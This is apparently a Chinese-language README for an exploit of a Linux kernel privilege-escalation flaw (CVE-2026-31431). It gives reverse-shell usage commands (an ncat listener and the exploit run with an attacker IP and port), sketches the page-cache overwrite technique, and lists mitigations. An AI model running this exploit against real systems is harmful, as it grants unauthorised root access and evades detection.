🔴 CVE-2026-31431 — “复制失败”

一个存在 9 年的 Linux 内核逻辑漏洞，可在数秒内获取 root 权限

概述

复制失败 是 Linux 内核加密子系统（algif_aead）中的一个高危本地权限提升（LPE）漏洞。该漏洞由 Theori（通过其 Xint Code AI 辅助漏洞研究工具）于 2026 年 4 月 29 日 发现并披露。该缺陷允许任何非特权本地用户向任意可读文件的页缓存中写入 4 个受控字节，并借此在自 2017 年以来发布的几乎所有主流 Linux 发行版上获取 root 权限。

一个可用的概念验证漏洞利用代码仅约 732 字节的 Python。

漏洞利用

1. 启动 Ncat 监听器

sudo ncat -lvnp PORT

2. 在目标机器上执行漏洞利用

# 使用 Python 脚本
python3 CVE-2026-31431-Exploit.py IP PORT

# 编译后的二进制文件
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT

🧬 技术摘要

漏洞利用原理（4 个步骤）

1. 打开 一个 AF_ALG 套接字并绑定到 authencesn(hmac(sha256),cbc(aes))
2. 拼接 一个可读 setuid 二进制的页面到套接字中
3. 内核的 AEAD 临时写入会覆盖该二进制页缓存中的 4 个字节
4. 执行 已被破坏的 setuid 二进制 → root shell

为何危险

• 无竞态窗口 — 确定性触发，每次都能成功
• 无需内核偏移 / KASLR 绕过
• 同一漏洞利用可跨发行版使用 — Ubuntu、RHEL、Amazon Linux、SUSE、Rocky 等
• 容器逃逸 — 页缓存是共享的；容器内的写入会影响宿主机
• 不修改磁盘 — 文件完整性监控工具（AIDE、OSSEC 等）无法检测
• 磁盘上无取证痕迹

🎯 受影响版本

已确认受影响的发行版

• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1
• SUSE 16
• Rocky Linux 9.7

实际上，自 2017 年以来发布的几乎所有主流 Linux 发行版 均受影响。

🛡️ 缓解措施

1. 修补（推荐）

将内核更新到包含修复提交 fafe0fa2995a 的版本。大多数主流发行版已发布或正在发布更新的内核软件包。

2. 临时缓解方案

如果无法立即修补：

• 通过 seccomp 策略 阻止 AF_ALG 套接字创建
• 将 algif_aead 模块加入黑名单：
  root@kitploit:~

  echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
  sudo modprobe -r algif_aead 2>/dev/null
  

⚠️ 免责声明

本仓库仅用于 教育和防御目的。此处信息旨在帮助安全团队理解、检测和缓解 CVE-2026-31431。请始终遵循负责任披露实践和适用法律。

⭐ 为本仓库加星标，以获取补丁和检测指南的最新更新。